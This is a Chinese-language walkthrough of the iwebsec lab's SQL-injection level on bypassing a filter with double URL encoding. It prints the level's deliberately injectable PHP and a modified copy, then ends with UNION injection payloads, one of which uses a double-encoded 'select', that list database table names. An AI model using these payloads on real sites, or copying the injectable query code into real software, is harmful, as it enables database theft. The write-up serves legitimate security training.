iwebsec sql-双重url编码绕过

10-双重url编码绕过

原理分析：

双重url编码，即对于浏览器发送的数据进行了两次urlencode操作，如s做一次url编码是%73,再进行一次编码是%25%37%33。一般情况下数据经过WAF设备的时候只会做一次url解码，这样解码之后的数据一般不会匹配到规则，达到了bypass的效果。

打开如下：

分析代码：

<?php
  if(isset($_GET['id'])){
	if (preg_match('/select/', $_GET["id"])) {
		die("ERROR");
	}else{
		$id = urldecode($_GET['id']);
		$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
		$result=mysql_query($sql);
	}
  }else{
		exit();
	}
	if ($result) {
		?>
		<table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
		<?php
		while ($row = mysql_fetch_assoc($result)) {
			echo "<tr>";
    			echo "<td>".$row['id']."</td>";
    			echo "<td>".$row['username']."</td>";
    			echo "<td>".$row['password']."</td>";
			echo "</tr>";
		}
		echo "</table>";
	}
	else
	{
//	echo '<font color= "#FFFFFF">';
	print_r(mysql_error());
//	echo "</font>";
	}

?>

preg_match 函数匹配 select 字符串，urldecode 函数对数据又进行了一次解码，按照题目意思是需要 url 编码绕过 select ，然后假设后台有 waf ，但是 waf 一般只会解码一次，我们进行两次编码就可以执行 SQL。

高版本PHP缺省设置 magicquotesgpc 为打开，这样一切get,post,cookie中的 '，"，\，nul 都将被特殊处理为 \' ，\" ，\ ，\0 ，可以防范大多数字符串SQL注入。

当 magicquotesgpc 未打开时，无需考虑此场景，其实 iwebsec 靶场漏洞库 就没有开启这个功能，也就是说单引号和双引号等特殊字符不会被特殊处理。在这个关卡中，没有，我们需要做出修改：

  <?php
echo("传输解码:".$_GET['id']);
echo"<br/>";
$id=$_GET['id'];
if(!get_magic_quotes_gpc()){
 echo "***asd slashes***".$id;
 echo "<br/>";
 $id=addslashes($id);
 echo "转义后:".$id;
}
  if(isset($id)){
	if (preg_match('/select/', $id)) {
		die("ERROR");
	}else{
		$id = urldecode($id);
		echo "<br/>";
		echo "二次解码后:".$id;
		$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";
		$result=mysql_query($sql);
	}
  }else{
		exit();
	}
	if ($result) {
		?>
		<table class='table table-striped'>
      <tr><th>id</th><th>name</th><th>age</th></tr>
		<?php
		while ($row = mysql_fetch_assoc($result)) {
			echo "<tr>";
    			echo "<td>".$row['id']."</td>";
    			echo "<td>".$row['username']."</td>";
    			echo "<td>".$row['password']."</td>";
			echo "</tr>";
		}
		echo "</table>";
	}
	else
	{
//	echo '<font color= "#FFFFFF">';
	echo "<br/>";
	print_r(mysql_error());
//	echo "</font>";
	}

?>

get_magic_quotes_gpc 函数用于检测是否开启 magicquotesgpc，这里这个靶场是没开启的，我们自己用 addslashes 函数转义。

构造注入语句：

1 and 1=2 union se%25%36%63ect 1,2,database()
http://localhost:8050/sqli/07.php?id=1%0aunion%0aselect%0a1,2,(select%0agroup_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database())%23 #全部表